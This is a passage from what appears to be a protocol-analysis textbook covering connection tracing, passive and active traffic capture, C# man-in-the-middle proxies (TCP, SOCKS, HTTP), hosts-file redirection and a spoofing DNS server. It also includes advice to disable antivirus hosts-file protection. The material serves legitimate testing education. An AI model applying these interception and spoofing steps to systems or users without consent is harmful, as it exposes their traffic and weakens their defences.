for us in the kernel. The arg0 parameter is the socket file descriptor (that 
we don’t need), arg1 is the address of the socket we’re connecting to, and 
arg2 is the length of that address. Parameter 0 is the socket handle, which 
is not needed in this case. The next parameter is the user process memory 
address of a socket address structure, which is the address to connect to 
and can be different sizes depending on the socket type. (For example, 
IPv4 addresses are smaller than IPv6.) The final parameter is the length of 
the socket address structure in bytes. 

The script defines a sockaddr_in structure that is used for IPv4 connec-
tions at u; in many cases these structures can be directly copied from the 
system’s C header files. The system call to monitor is specified at v. At w, 
a DTrace-specific filter is used to ensure we trace only connect calls where 
the socket address is the same size as sockaddr_in. At x, the sockaddr_in 
structure is copied from your process into a local structure for DTrace to 
inspect. At y, the process name, the destination IP address, and the port 
are printed to the console. 

To run this script, copy it to a file called traceconnect.d and then run the 
command dtrace -s traceconnect.d as the root user. When you use a network-
connected application, the output should look like Listing 2-3. 

process:'Google Chrome'    173.194.78.125:5222
process:'Google Chrome'    173.194.66.95:443
process:'Google Chrome'    217.32.28.199:80
process:'ntpd'             17.72.148.53:123
process:'Mail'             173.194.67.109:993
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process:'syncdefaultsd'    17.167.137.30:443
process:'AddressBookSour'  17.172.192.30:443

Listing 2-3: Example output from traceconnect.d script

The output shows individual connections to IP addresses, printing out 
the process name, for example 'Google Chrome', the IP address, and the port 
connected to. Unfortunately, the output isn’t always as useful as the output 
from strace on Linux, but DTrace is certainly a valuable tool. This demon-
stration only scratches the surface of what DTrace can do.

Process Monitor on Windows
In contrast to Unix-like systems, Windows implements its user-mode net-
work functions without direct system calls. The networking stack is exposed 
through a driver, and establishing a connection uses the file open, read, and 
write system calls to configure a network socket for use. Even if Windows 
supported a facility similar to strace, this implementation makes it more 
difficult to monitor network traffic at the same level as other platforms. 

Windows, starting with Vista and later, has supported an event genera-
tion framework that allows applications to monitor network activity. Writing 
your own implementation of this would be quite complex, but fortunately, 
someone has already written a tool to do it for you: Microsoft’s Process 
Monitor tool. Figure 2-5 shows the main interface when filtering only on 
network connection events.

�

Figure 2-5: An example Process Monitor capture
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Selecting the filter u displays only events related to network connec-
tions from a monitored process. Details include the hosts involved as well as 
the protocol and port being used. Although the capture doesn’t provide any 
data associated with the connections, it does offer valuable insight into the 
network communications the application is establishing. Process Monitor 
can also capture the state of the current calling stack, which helps you 
determine where in an application network connections are being made. 
This will become important in Chapter 6 when we start reverse engineering 
binaries to work out the network protocol. Figure 2-6 shows a single HTTP 
connection to a remote server in detail.

� � � �

Figure 2-6: A single captured connection

Column u shows the name of the process that established the connec-
tion. Column v shows the operation, which in this case is connecting to a 
remote server, sending the initial HTTP request and receiving a response. 
Column w indicates the source and destination addresses, and column x 
provides more in-depth information about the captured event.

Although this solution isn’t as helpful as monitoring system calls on other 
platforms, it’s still useful in Windows when you just want to determine the 
network protocols a particular application is using. You can’t capture data 
using this technique, but once you determine the protocols in use, you can 
add that information to your analysis through more active network traffic 
capture.

Advantages and Disadvantages of Passive Capture
The greatest advantage of using passive capture is that it doesn’t disrupt the 
client and server applications’ communication. It will not change the desti-
nation or source address of traffic, and it doesn’t require any modifications 
or reconfiguration of the applications. 

Passive capture might also be the only technique you can use when you 
don’t have direct control over the client or the server. You can usually find 
a way to listen to the network traffic and capture it with a limited amount 
of effort. After you’ve collected your data, you can determine which active 
capture techniques to use and the best way to attack the protocol you want 
to analyze. 
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One major disadvantage of passive network traffic capture is that cap-
ture techniques like packet sniffing run at such a low level that it can dif-
ficult to interpret what an application received. Tools such as Wireshark 
certainly help, but if you’re analyzing a custom protocol, it might not be 
possible to easily take apart the protocol without interacting with it directly.

Passive capture also doesn’t always make it easy to modify the traffic an 
application produces. Modifying traffic isn’t always necessary, but it’s useful 
when you encounter encrypted protocols, want to disable compression, or 
need to change the traffic for exploitation.

When analyzing traffic and injecting new packets doesn’t yield results, 
switch tactics and try using active capture techniques.

Active Network Traffic Capture
Active capture differs from passive in that you’ll try to influence the flow 
of the traffic, usually by using a man-in-the-middle attack on the network 
communication. As shown in Figure 2-7, the device capturing traffic usu-
ally sits between the client and server applications, acting as a bridge. This 
approach has several advantages, including the ability to modify traffic and 
disable features like encryption or compression, which can make it easier to 
analyze and exploit a network protocol.

Man-in-the-middle proxyClient application Server application

Figure 2-7: A man-in-the-middle proxy

A disadvantage of this approach is that it’s usually more difficult 
because you need to reroute the application’s traffic through your active 
capture system. Active capture can also have unintended, undesirable 
effects. For example, if you change the network address of the server or 
client to the proxy, this can cause confusion, resulting in the application 
sending traffic to the wrong place. Despite these issues, active capture is 
probably the most valuable technique for analyzing and exploiting appli-
cation network protocols.

Network Proxies
The most common way to perform a man-in-the-middle attack on network 
traffic is to force the application to communicate through a proxy service. 
In this section, I’ll explain the relative advantages and disadvantages of 
some of the common proxy types you can use to capture traffic, analyze 
that data, and exploit a network protocol. I’ll also show you how to get 
traffic from typical client applications into a proxy.
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Port-Forwarding Proxy
Port forwarding is the easiest way to proxy a connection. Just set up a lis-
tening server (TCP or UDP) and wait for a new connection. When that 
new connection is made to the proxy server, it will open a forwarding 
connection to the real service and logically connect the two, as shown 
in Figure 2-8.

Client application Server application

TCP TCP

TCP port-forwarding proxy

Listening
TCP

service

TCP
client

Figure 2-8: Overview of a TCP port-forwarding proxy

Simple Implementation

To create our proxy, we’ll use the built-in TCP port forwarder included with 
the Canape Core libraries. Place the code in Listing 2-4 into a C# script file, 
changing LOCALPORT v, REMOTEHOST w, and REMOTEPORT x to appropriate values 
for your network.

PortFormat		  // PortFormatProxy.csx – Simple TCP port-forwarding proxy
Proxy.csx		  // Expose methods like WriteLine and WritePackets

using static System.Console;
using static CANAPE.Cli.ConsoleUtils;

// Create proxy template
var template = new uFixedProxyTemplate();
template.LocalPort = vLOCALPORT;
template.Host = w"REMOTEHOST";
template.Port = xREMOTEPORT;

// Create proxy instance and start
y var service = template.Create();

service.Start();

WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();

z service.Stop();

// Dump packets
var packets = service.Packets;
WriteLine("Captured {0} packets:",
    packets.Count);

{ WritePackets(packets);

Listing 2-4: A simple TCP port-forwarding proxy example
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This very simple script creates an instance of a FixedProxyTemplate u. 
Canape Core works on a template model, although if required you can get 
down and dirty with the low-level network configuration. The script con-
figures the template with the desired local and remote network informa-
tion. The template is used to create a service instance at y; you can think 
of documents in the framework acting as templates for services. The newly 
created service is then started; at this point, the network connections are 
configured. After waiting for a key press, the service is stopped at z. Then 
all the captured packets are written to the console using the WritePackets() 
method {.

Running this script should bind an instance of our forwarding proxy 
to the LOCALPORT number for the localhost interface only. When a new TCP 
connection is made to that port, the proxy code should establish a new con-
nection to REMOTEHOST with TCP port REMOTEPORT and link the two connections 
together.

W A R N I N G 	 Binding a proxy to all network addresses can be risky from a security perspective 
because proxies written for testing protocols rarely implement robust security mecha-
nisms. Unless you have complete control over the network you are connected to or 
have no choice, only bind your proxy to the local loopback interface. In Listing 2-4, 
the default is LOCALHOST; to bind to all interfaces, set the AnyBind property to true. 

Redirecting Traffic to Proxy

With our simple proxy application complete, we now need to direct our 
application traffic through it. 

For a web browser, it’s simple enough: to capture a specific request, 
instead of using the URL form http://www.domain.com/resource, use http://
localhost:localport/resource, which pushes the request through your port-
forwarding proxy. 

Other applications are trickier: you might have to dig into the applica-
tion’s configuration settings. Sometimes, the only setting an application 
allows you to change is the destination IP address. But this can lead to a 
chicken-and-egg scenario where you don’t know which TCP or UDP ports 
the application might be using with that address, especially if the applica-
tion contains complex functions running over multiple different service 
connections. This occurs with Remote Procedure Call (RPC) protocols, such 
as the Common Object Request Broker Architecture (CORBA). This pro-
tocol usually makes an initial network connection to a broker, which acts as 
a directory of available services. A second connection is then made to the 
requested service over an instance-specific TCP port.

In this case, a good approach is to use as many network-connected 
features of the application as possible while monitoring it using passive 
capture techniques. By doing so, you should uncover the connections that 
application typically makes, which you can then easily replicate with for-
warding proxies.

If the application doesn’t support changing its destination, you need 
to be a bit more creative. If the application resolves the destination server 
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address via a hostname, you have more options. You could set up a custom 
DNS server that responds to name requests with the IP address of your proxy. 
Or you could use the hosts file facility, which is available on most operating 
systems, including Windows, assuming you have control over system files on 
the device the application is running on.

During hostname resolving, the OS (or the resolving library) first refers 
to the hosts file to see if any local entries exist for that name, making a DNS 
request only if one is not found. For example, the hosts file in Listing 2-5 
redirects the hostnames www.badgers.com and www.domain.com to localhost.

# Standard Localhost addresses
127.0.0.1       localhost
::1             localhost

# Following are dummy entries to redirect traffic through the proxy
127.0.0.1       www.badgers.com
127.0.0.1       www.domain.com

Listing 2-5: An example hosts file

The standard location of the hosts file on Unix-like OSes is /etc/hosts, 
whereas on Windows it is C:\Windows\System32\Drivers\etc\hosts. Obviously, 
you’ll need to replace the path to the Windows folder as necessary for your 
environment.

N ote   	 Some antivirus and security products track changes to the system’s hosts, because 
changes are a sign of malware. You might need to disable the product’s protection 
if you want to change the hosts file.

Advantages of a Port-Forwarding Proxy

The main advantage of a port-forwarding proxy is its simplicity: you wait for 
a connection, open a new connection to the original destination, and then 
pass traffic back and forth between the two. There is no protocol associated 
with the proxy to deal with, and no special support is required by the appli-
cation from which you are trying to capture traffic.

A port-forwarding proxy is also the primary way of proxying UDP traf-
fic; because it isn’t connection oriented, the implementation of a forwarder 
for UDP is considerably simpler.

Disadvantages of a Port-Forwarding Proxy

Of course, the simplicity of a port-forwarding proxy also contributes to its 
disadvantages. Because you are only forwarding traffic from a listening 
connection to a single destination, multiple instances of a proxy would be 
required if the application uses multiple protocols on different ports. 

For example, consider an application that has a single hostname or IP 
address for its destination, which you can control either directly by chang-
ing it in the application’s configuration or by spoofing the hostname. The 
application then attempts to connect to TCP ports 443 and 1234. Because 
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you can control the address it connects to, not the ports, you need to set up 
forwarding proxies for both, even if you are only interested in the traffic 
running over port 1234.

This proxy can also make it difficult to handle more than one con-
nection to a well-known port. For example, if the port-forwarding proxy is 
listening on port 1234 and making a connection to www.domain.com port 
1234, only redirected traffic for the original domain will work as expected. 
If you wanted to also redirect www.badgers.com, things would be more dif-
ficult. You can mitigate this if the application supports specifying the desti-
nation address and port or by using other techniques, such as Destination 
Network Address Translation (DNAT), to redirect specific connections to 
unique forwarding proxies. (Chapter 5 contains more details on DNAT as 
well as numerous other more advanced network capture techniques.)

Additionally, the protocol might use the destination address for its own 
purposes. For example, the Host header in HyperText Transport Protocol 
(HTTP) can be used for Virtual Host decisions, which might make a port-
forwarded protocol work differently, or not at all, from a redirected connec-
tion. Still, at least for HTTP, I will discuss a workaround for this limitation 
in “Reverse HTTP Proxy” on page 32.

SOCKS Proxy
Think of a SOCKS proxy as a port-forwarding proxy on steroids. Not only 
does it forward TCP connections to the desired network location, but all 
new connections start with a simple handshake protocol that informs the 
proxy of the ultimate destination rather than having it fixed. It can also 
support listening connections, which is important for protocols like File 
Transfer Protocol (FTP) that need to open new local ports for the server 
to send data to. Figure 2-9 provides an overview of SOCKS proxy.

Client application

Server www.domain.com
SOCKS

SOCKS proxy

Listening
SOCKS
service

TCP client to
www.domain.com

TCP listener
from

www.badgers.com 

Server www.badgers.com

TCP

TCP

Figure 2-9: Overview of SOCKS proxy 

Three common variants of the protocol are currently in use—SOCKS 4, 
4a, and 5—and each has its own use. Version 4 is the most commonly sup-
ported version of the protocol; however, it supports only IPv4 connections, 
and the destination address must be specified as a 32-bit IP address. An 
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update to version 4, version 4a allowed connections by hostname (which is 
useful if you don’t have a DNS server that can resolve IP addresses). Version 5 
introduced hostname support, IPv6, UDP forwarding, and improved authen-
tication mechanisms; it is also the only one specified in an RFC (1928). 

As an example, a client will send the request shown in Figure 2-10 to 
establish a SOCKS connection to IP address 10.0.0.1 on port 12345. The 
USERNAME component is the only method of authentication in SOCKS version 4 
(not especially secure, I know). VER represents the version number, which in 
this case is 4. CMD indicates it wants to connect out (binding to an address is 
CMD 2), and the TCP port and address are specified in binary form.

VER
0x04

CMD
0x01

TCP PORT
12345

IP ADDRESS
0x10000001

USERNAME
"james"

NULL
0x00

1 1 2 4 VARIABLE 1Size in octets

Figure 2-10: A SOCKS version 4 request

If the connection is successful, it will send back the appropriate response, 
as shown in Figure 2-11. The RESP field indicates the status of the response; 
the TCP port and address fields are only significant for binding requests. 
Then the connection becomes transparent and the client and server directly 
negotiate with each other; the proxy server only acts to forward traffic in 
either direction.

VER
0x04

RESP
0x5A

TCP PORT
0

IP ADDRESS
0

1 1 2 4Size in octets

Figure 2-11: A SOCKS version 4 successful response

Simple Implementation

The Canape Core libraries have built-in support for SOCKS 4, 4a, and 5. 
Place Listing 2-6 into a C# script file, changing LOCALPORT v to the local TCP 
port you want to listen on for the SOCKS proxy.

SocksProxy.csx	 // SocksProxy.csx – Simple SOCKS proxy
// Expose methods like WriteLine and WritePackets
using static System.Console;
using static CANAPE.Cli.ConsoleUtils;

// Create the SOCKS proxy template
u var template = new SocksProxyTemplate();

template.LocalPort = vLOCALPORT;

// Create proxy instance and start
var service = template.Create();
service.Start();
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WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();
service.Stop();

// Dump packets
var packets = service.Packets;
WriteLine("Captured {0} packets:",
    packets.Count);
WritePackets(packets);

Listing 2-6: A simple SOCKS proxy example

Listing 2-6 follows the same pattern established with the TCP port-
forwarding proxy in Listing 2-4. But in this case, the code at u creates a 
SOCKS proxy template. The rest of the code is exactly the same.

Redirecting Traffic to Proxy

To determine a way of pushing an application’s network traffic through a 
SOCKS proxy, look in the application first. For example, when you open the 
proxy settings in Mozilla Firefox, the dialog in Figure 2-12 appears. From 
there, you can configure Firefox to use a SOCKS proxy.

Figure 2-12: Firefox proxy configuration



Capturing Application Traffic   27

But sometimes SOCKS support is not immediately obvious. If you are 
testing a Java application, the Java Runtime accepts command line param-
eters that enable SOCKS support for any outbound TCP connection. For 
example, consider the very simple Java application in Listing 2-7, which con-
nects to IP address 192.168.10.1 on port 5555.

SocketClient.java	 // SocketClient.java – A simple Java TCP socket client
import java.io.PrintWriter;
import java.net.Socket;

public class SocketClient {
    public static void main(String[] args) {
        try {
            Socket s = new Socket("192.168.10.1", 5555);
            PrintWriter out = new PrintWriter(s.getOutputStream(), true);
            out.println("Hello World!");
            s.close();
        } catch(Exception e) {
        }
    }
}

Listing 2-7: A simple Java TCP client

When you run this compiled program normally, it would do as you 
expect. But if on the command line you pass two special system properties, 
socksProxyHost and socksProxyPort, you can specify a SOCKS proxy for any 
TCP connection:

java –DsocksProxyHost=localhost –DsocksProxyPort=1080 SocketClient

This will make the TCP connection through the SOCKS proxy on local-
host port 1080. 

Another place to look to determine how to push an application’s network 
traffic through a SOCKS proxy is the OS’s default proxy. On macOS, navi-
gate to System Preferences4Network4Advanced4Proxies. The dialog 
shown in Figure 2-13 appears. From here, you can configure a system-wide 
SOCKS proxy or general proxies for other protocols. This won’t always work, 
but it’s an easy option worth trying out.

In addition, if the application just will not support a SOCKS proxy 
natively, certain tools will add that function to arbitrary applications. These 
tools range from free and open source tools, such as Dante (https://www​
.inet.no/dante/) on Linux, to commercial tools, such as Proxifier (https://
www.proxifier.com/), which runs on Windows and macOS. In one way or 
another, they all inject into the application to add SOCKS support and 
modify the operation of the socket functions.
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Figure 2-13: A proxy configuration dialog on macOS

Advantages of a SOCKS Proxy

The clear advantage of using a SOCKS proxy, as opposed to using a simple 
port forwarder, is that it should capture all TCP connections (and poten-
tially some UDP if you are using SOCKS version 5) that an application 
makes. This is an advantage as long as the OS socket layer is wrapped to 
effectively push all connections through the proxy.

A SOCKS proxy also generally preserves the destination of the connec-
tion from the point of view of the client application. Therefore, if a client 
application sends in-band data that refers to its endpoint, then the end-
point will be what the server expects. However, this does not preserve the 
source address. Some protocols, such as FTP, assume they can request ports 
to be opened on the originating client. The SOCKS protocol provides a 
facility for binding listening connections but adds to the complexity of the 
implementation. This makes capture and analysis more difficult because 
you must consider many different streams of data to and from a server.

Disadvantages of a SOCKS Proxy
The main disadvantage of SOCKS is that support can be inconsistent 
between applications and platforms. The Windows system proxy supports 
only SOCKS version 4 proxies, which means it will resolve hostnames 
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locally. It does not support IPv6 and does not have a robust authentication 
mechanism. Generally, you get better support by using a SOCKS tool to add 
to an existing application, but this doesn’t always work well.

HTTP Proxies
HTTP powers the World Wide Web as well as a myriad of web services and 
RESTful protocols. Figure 2-14 provides an overview of an HTTP proxy.  
The protocol can also be co-opted as a transport mechanism for non-web 
protocols, such as Java’s Remote Method Invocation (RMI) or Real Time 
Messaging Protocol (RTMP), because it can tunnel though the most restric-
tive firewalls. It is important to understand how HTTP proxying works in 
practice, because it will almost certainly be useful for protocol analysis,  
even if a web service is not being tested. Existing web application–testing 
tools rarely do an ideal job when HTTP is being used out of its original 
environment. Sometimes rolling your own implementation of an HTTP 
proxy is the only solution.

Client application

Server www.domain.comHTTP

HTTP proxy

Listening
HTTP

service

HTTP client to
www.domain.com

Tunneled
HTTPS to

www.badgers.com 

Server www.badgers.com

HTTP

HTTPS

Figure 2-14: Overview of an HTTP proxy

The two main types of HTTP proxy are the forwarding proxy and the 
reverse proxy. Each has advantages and disadvantages for the prospective 
network protocol analyzer.

Forwarding an HTTP Proxy
The HTTP protocol is specified in RFC 1945 for version 1.0 and RFC 2616 
for version 1.1; both versions provide a simple mechanism for proxying 
HTTP requests. For example, HTTP 1.1 specifies that the first full line of 
a request, the request line, has the following format:

uGET v/image.jpg HTTP/1.1

The method u specifies what to do in that request using familiar 
verbs, such as GET, POST, and HEAD. In a proxy request, this does not change 
from a normal HTTP connection. The path v is where the proxy request 
gets interesting. As is shown, an absolute path indicates the resource that 
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the method will act upon. Importantly, the path can also be an absolute 
Uniform Request Identifier (URI). By specifying an absolute URI, a proxy 
server can establish a new connection to the destination, forwarding all 
traffic on and returning data back to the client. The proxy can even manip-
ulate the traffic, in a limited fashion, to add authentication, hide version 1.0 
servers from 1.1 clients, and add transfer compression along with all man-
ner of other things. However, this flexibility comes with a cost: the proxy 
server must be able to process the HTTP traffic, which adds massive com-
plexity. For example, the following request line accesses an image resource 
on a remote server through a proxy:

GET http://www.domain.com/image.jpg HTTP/1.1

You, the attentive reader, might have identified an issue with this 
approach to proxying HTTP communication. Because the proxy must be 
able to access the underlying HTTP protocol, what about HTTPS, which 
transports HTTP over an encrypted TLS connection? You could break out 
the encrypted traffic; however, in a normal environment, it is unlikely the 
HTTP client would trust whatever certificate you provided. Also, TLS is 
intentionally designed to make it virtually impossible to use a man-in-the-
middle attack any other way. Fortunately, this was anticipated, and RFC 2817 
provides two solutions: it includes the ability to upgrade an HTTP connec-
tion to encryption (there is no need for more details here), and more impor-
tantly for our purposes, it specifies the CONNECT HTTP method for creating 
transparent, tunneled connections over HTTP proxies. As an example, a 
web browser that wants to establish a proxy connection to an HTTPS site 
can issue the following request to the proxy:

CONNECT www.domain.com:443 HTTP/1.1

If the proxy accepts this request, it will make a new TCP connection to 
the server. On success, it should return the following response:

HTTP/1.1 200 Connection Established

The TCP connection to the proxy now becomes transparent, and the 
browser is able to establish the negotiated TLS connection without the proxy 
getting in the way. Of course, it’s worth noting that the proxy is unlikely to 
verify that TLS is actually being used on this connection. It could be any 
protocol you like, and this fact is abused by some applications to tunnel out 
their own binary protocols through HTTP proxies. For this reason, it’s com-
mon to find deployments of HTTP proxies restricting the ports that can be 
tunneled to a very limited subset.

Simple Implementation

Once again, the Canape Core libraries include a simple implementation of 
an HTTP proxy. Unfortunately, they don’t support the CONNECT method to 



Capturing Application Traffic   31

create a transparent tunnel, but it will suffice for demonstration purposes. 
Place Listing 2-8 into a C# script file, changing LOCALPORT v to the local TCP 
port you want to listen on.

HttpProxy.csx		  // HttpProxy.csx – Simple HTTP proxy
// Expose methods like WriteLine and WritePackets
using static System.Console;
using static CANAPE.Cli.ConsoleUtils;

// Create proxy template
u var template = new HttpProxyTemplate();

template.LocalPort = vLOCALPORT;

// Create proxy instance and start
var service = template.Create();
service.Start();

WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();
service.Stop();

// Dump packets
var packets = service.Packets;
WriteLine("Captured {0} packets:", packets.Count);
WritePackets(packets);

Listing 2-8: A simple forward HTTP proxy example

Here we created a forward HTTP Proxy. The code at line u is again 
only a slight variation from the previous examples, creating an HTTP proxy 
template.

Redirecting Traffic to Proxy

As with SOCKS proxies, the first port of call will be the application. It’s 
rare for an application that uses the HTTP protocol to not have some 
sort of proxy configuration. If the application has no specific settings 
for HTTP proxy support, try the OS configuration, which is in the same 
place as the SOCKS proxy configuration. For example, on Windows you 
can access the system proxy settings by selecting Control Panel4Internet 
Options4Connections4LAN Settings.

Many command line utilities on Unix-like systems, such as curl, wget, 
and apt, also support setting HTTP proxy configuration through environ-
ment variables. If you set the environment variable http_proxy to the URL 
for the HTTP proxy to use—for example, http://localhost:3128—the applica-
tion will use it. For secure traffic, you can also use https_proxy. Some imple-
mentations allow special URL schemes, such as socks4://, to specify that you 
want to use a SOCKS proxy.
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Advantages of a Forwarding HTTP Proxy

The main advantage of a forwarding HTTP proxy is that if the application 
uses the HTTP protocol exclusively, all it needs to do to add proxy support 
is to change the absolute path in the Request Line to an absolute URI and 
send the data to a listening proxy server. Also, only a few applications that 
use the HTTP protocol for transport do not already support proxying.

Disadvantages of a Forwarding HTTP Proxy

The requirement of a forwarding HTTP proxy to implement a full HTTP 
parser to handle the many idiosyncrasies of the protocol adds significant 
complexity; this complexity might introduce processing issues or, in the 
worst case, security vulnerabilities. Also, the addition of the proxy desti-
nation within the protocol means that it can be more difficult to retrofit 
HTTP proxy support to an existing application through external tech-
niques, unless you convert connections to use the CONNECT method (which 
even works for unencrypted HTTP).

Due to the complexities of handling a full HTTP 1.1 connection, it 
is common for proxies to either disconnect clients after a single request 
or downgrade communications to version 1.0 (which always closes the 
response connection after all data has been received). This might break 
a higher-level protocol that expects to use version 1.1 or request pipelining, 
which is the ability to have multiple requests in flight to improve perfor-
mance or state locality.

Reverse HTTP Proxy
Forwarding proxies are fairly common in environments where an internal 
client is connecting to an outside network. They act as a security bound-
ary, limiting outbound traffic to a small subset of protocol types. (Let’s 
just ignore the potential security implications of the CONNECT proxy for a 
moment.) But sometimes you might want to proxy inbound connections, 
perhaps for load-balancing or security reasons (to prevent exposing your 
servers directly to the outside world). However, a problem arises if you do 
this. You have no control over the client. In fact, the client probably doesn’t 
even realize it’s connecting to a proxy. This is where the reverse HTTP proxy 
comes in.

Instead of requiring the destination host to be specified in the request 
line, as with a forwarding proxy, you can abuse the fact that all HTTP 1.1–
compliant clients must send a Host HTTP header in the request that 
specifies the original hostname used in the URI of the request. (Note that 
HTTP 1.0 has no such requirement, but most clients using that version will 
send the header anyway.) With the Host header information, you can infer 
the original destination of the request, making a proxy connection to that 
server, as shown in Listing 2-9.
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GET /image.jpg HTTP/1.1
User-Agent: Super Funky HTTP Client v1.0
Host: uwww.domain.com
Accept: */*

Listing 2-9: An example HTTP request

Listing 2-9 shows a typical Host header u where the HTTP request 
was to the URL http://www.domain.com/image.jpg. The reverse proxy can 
easily take this information and reuse it to construct the original destina-
tion. Again, because there is a requirement for parsing the HTTP head-
ers, it is more difficult to use for HTTPS traffic that is protected by TLS. 
Fortunately, most TLS implementations take wildcard certificates where 
the subject is in the form of *.domain.com or similar, which would match 
any subdomain of domain.com.

Simple Implementation

Unsurprisingly, the Canape Core libraries include a built-in HTTP reverse 
proxy implementation, which you can access by changing the template 
object to HttpReverseProxyTemplate from HttpProxyTemplate. But for complete-
ness, Listing 2-10 shows a simple implementation. Place the following code 
in a C# script file, changing LOCALPORT u to the local TCP port you want to 
listen on. If LOCALPORT is less than 1024 and you’re running this on a Unix-
style system, you’ll also need to run the script as root.

ReverseHttp		  // ReverseHttpProxy.csx – Simple reverse HTTP proxy
Proxy.csx		  // Expose methods like WriteLine and WritePackets

using static System.Console;
using static CANAPE.Cli.ConsoleUtils;

// Create proxy template
var template = new HttpReverseProxyTemplate();
template.LocalPort = uLOCALPORT;

// Create proxy instance and start
var service = template.Create();
service.Start();

WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();
service.Stop();

// Dump packets
var packets = service.Packets;
WriteLine("Captured {0} packets:",
    packets.Count);
WritePackets(packets);

Listing 2-10: A simple reverse HTTP proxy example

http://www.domain.com/image.jpg
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Redirecting Traffic to Your Proxy

The approach to redirecting traffic to a reverse HTTP proxy is similar to 
that employed for TCP port-forwarding, which is by redirecting the con-
nection to the proxy. But there is a big difference; you can’t just change 
the destination hostname. This would change the Host header, shown in 
Listing 2-10. If you’re not careful, you could cause a proxy loop.1 Instead, it’s 
best to change the IP address associated with a hostname using the hosts file.

But perhaps the application you’re testing is running on a device that 
doesn’t allow you to change the hosts file. Therefore, setting up a custom 
DNS server might be the easiest approach, assuming you’re able to change 
the DNS server configuration.

You could use another approach, which is to configure a full DNS server 
with the appropriate settings. This can be time consuming and error prone; 
just ask anyone who has ever set up a bind server. Fortunately, existing tools 
are available to do what we want, which is to return our proxy’s IP address 
in response to a DNS request. Such a tool is dnsspoof. To avoid install-
ing another tool, you can do it using Canape’s DNS server. The basic DNS 
server spoofs only a single IP address to all DNS requests (see Listing 2-11). 
Replace IPV4ADDRESS u, IPV6ADDRESS v, and REVERSEDNS w with appropriate 
strings. As with the HTTP Reverse Proxy, you’ll need to run this as root 
on a Unix-like system, as it will try to bind to port 53, which is not usually 
allowed for normal users. On Windows, there’s no such restriction on bind-
ing to ports less than 1024.

DnsServer.csx		 // DnsServer.csx – Simple DNS Server
// Expose console methods like WriteLine at global level.
using static System.Console;

// Create the DNS server template
var template = new DnsServerTemplate();

// Setup the response addresses
template.ResponseAddress = u"IPV4ADDRESS";
template.ResponseAddress6 = v"IPV6ADDRESS";
template.ReverseDns = w"REVERSEDNS";

// Create DNS server instance and start
var service = template.Create();
service.Start();
WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();
service.Stop();

Listing 2-11: A simple DNS server

1. A proxy loop occurs when a proxy repeatedly connects to itself, causing a recursive loop. 
The outcome can only end in disaster, or at least running out of available resources.
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Now if you configure the DNS server for your application to point to 
your spoofing DNS server, the application should send its traffic through.

Advantage of a Reverse HTTP Proxy

The advantage of a reverse HTTP proxy is that it doesn’t require a client 
application to support a typical forwarding proxy configuration. This is 
especially useful if the client application is not under your direct control or 
has a fixed configuration that cannot be easily changed. As long as you can 
force the original TCP connections to be redirected to the proxy, it’s pos-
sible to handle requests to multiple different hosts with little difficulty.

Disadvantages of a Reverse HTTP Proxy

The disadvantages of a reverse HTTP proxy are basically the same as for a 
forwarding proxy. The proxy must be able to parse the HTTP request and 
handle the idiosyncrasies of the protocol.

Final Words
You’ve read about passive and active capture techniques in this chapter, 
but is one better than the other? That depends on the application you’re 
trying to test. Unless you are just monitoring network traffic, it pays to take 
an active approach. As you continue through this book, you’ll realize that 
active capture has significant benefits for protocol analysis and exploitation. 
If you have a choice in your application, use SOCKS because it’s the easiest 
approach in many circumstances.
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S tr  u ct  u res 

The old adage “There is nothing new under the sun” 
holds true when it comes to the way protocols are 
structured. Binary and text protocols follow common 
patterns and structures and, once understood, can eas-
ily be applied to any new protocol. This chapter details 
some of these structures and formalizes the way I’ll 
represent them throughout the rest of this book.

In this chapter, I discuss many of the common types of protocol struc-
tures. Each is described in detail along with how it is represented in binary- 
or text-based protocols. By the end of the chapter, you should be able to 
easily identify these common types in any unknown protocol you analyze. 

Once you understand how protocols are structured, you’ll also see pat-
terns of exploitable behavior—ways of attacking the network protocol itself. 
Chapter 10 will provide more detail on finding network protocol issues, 
but for now we’ll just concern ourselves with structure.
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Binary Protocol Structures
Binary protocols work at the binary level; the smallest unit of data is a single 
binary digit. Dealing with single bits is difficult, so we’ll use 8-bit units called 
octets, commonly called bytes. The octet is the de facto unit of network proto-
cols. Although octets can be broken down into individual bits (for example, 
to represent a set of flags), we’ll treat all network data in 8-bit units, as shown 
in Figure 3-1.

Bit 7/MSB Bit 0/LSB

0 1 0 0 0 0 0 1 = 0x41/65

0x41

Bit format:

Octet format:

Figure 3-1: Binary data description formats

When showing individual bits, I’ll use the bit format, which shows bit 7, 
the most significant bit (MSB), on the left. Bit 0, or the least significant bit (LSB), 
is on the right. (Some architectures, such as PowerPC, define the bit num-
bering in the opposite direction.)

Numeric Data
Data values representing numbers are usually at the core of a binary proto-
col. These values can be integers or decimal values. Numbers can be used 
to represent the length of data, to identify tag values, or simply to represent 
a number. 

In binary, numeric values can be represented in a few different ways, 
and a protocol’s method of choice depends on the value it’s representing. 
The following sections describe some of the more common formats. 

Unsigned Integers

Unsigned integers are the most obvious representation of a binary num-
ber. Each bit has a specific value based on its position, and these values are 
added together to represent the integer. Table 3-1 shows the decimal and 
hexadecimal values for an 8-bit integer. 

Table 3-1: Decimal Bit Values

Bit Decimal value Hex value

0 1 0x01

1 2 0x02

2 4 0x04

3 8 0x08

4 16 0x10

5 32 0x20

6 64 0x40

7 128 0x80
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Signed Integers

Not all integer values are positive. In some scenarios, negative integers are 
required—for example, to represent the difference between two integers, 
you need to take into account that the difference could be negative—and 
only signed integers can hold negative values. While encoding an unsigned 
integer seems obvious, the CPU can only work with the same set of bits. 
Therefore, the CPU requires a way of interpreting the unsigned integer 
value as signed; the most common signed interpretation is two’s comple-
ment. The term two’s complement refers to the way in which the signed inte-
ger is represented within a native integer value in the CPU.  

Conversion between unsigned and signed values in two’s comple-
ment is done by taking the bitwise NOT (where a 0 bit is converted to 
a 1 and 1 is converted to a 0) of the integer and adding 1. For example, 
Figure 3-2 shows the 8-bit integer 123 converted to its two’s complement 
representation.

0 1 1 1 1 0 1 1 = 0x7B/123

= 0x84/-1241 0 0 0 0 1 0 0

NOT

+1

= 0x85/-1231 0 0 0 0 1 0 1=

MSB LSB

Figure 3-2: The two’s complement representation  
of 123

The two’s complement representation has one dangerous security con-
sequence. For example, an 8-bit signed integer has the range –128 to 127, so 
